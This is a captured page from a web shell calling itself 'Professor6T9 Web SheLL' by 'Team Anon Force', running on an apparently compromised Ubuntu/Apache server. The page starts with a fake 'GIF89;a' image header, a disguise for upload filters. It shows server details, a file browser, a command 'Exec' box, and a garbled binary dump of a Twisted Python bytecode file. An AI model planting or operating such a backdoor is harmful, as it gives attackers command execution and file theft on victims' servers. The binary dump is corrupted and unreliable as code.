GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
twisted
/
cred
/
__pycache__
[ HOME ]
Exec
Submit
credentials.cpython-310.pyc
o �bC@ � @ s� d Z ddlZddlZddlZddlZddlZddlmZ ddlm Z ddl mZmZ ddl mZ ddlmZmZmZ ddlmZmZ dd lmZ dd lmZ ddlmZ G dd � d e�ZG dd� de�ZG dd� de�ZG dd� de�ZG dd� de�Z eee�G dd� d��Z!G dd� d�Z"ee�G dd� d��Z#ee�G dd� d��Z$ee�G dd� d��Z%ee �G d d!� d!��Z&G d"d#� d#e�Z'ee'�G d$d%� d%��Z(dS )&z� This module defines L{ICredentials}, an interface for objects that represent authentication credentials to provide, and also includes a number of useful implementations of that interface. � N)�hexlify)�md5)� Interface�implementer)�error)�calcHA1�calcHA2�calcResponse)�nativeString� networkString)�deprecatedModuleAttribute)�secureRandom)�Versionc @ � e Zd ZdZdS )�ICredentialsz� I check credentials. Implementors I{must} specify the sub-interfaces of ICredentials to which it conforms, using L{zope.interface.implementer}. N��__name__� __module__�__qualname__�__doc__� r r �:/usr/lib/python3/dist-packages/twisted/cred/credentials.pyr � r c @ � e Zd ZdZdd� ZdS )�IUsernameDigestHashz� This credential is used when a CredentialChecker has access to the hash of the username:realm:password as in an Apache .htdigest file. c C � dS )a- @param digestHash: The hashed username:realm:password to check against. @return: C{True} if the credentials represented by this object match the given hash, C{False} if they do not, or a L{Deferred} which will be called back with one of these values. Nr )� digestHashr r r � checkHash- � zIUsernameDigestHash.checkHashN)r r r r r r r r r r '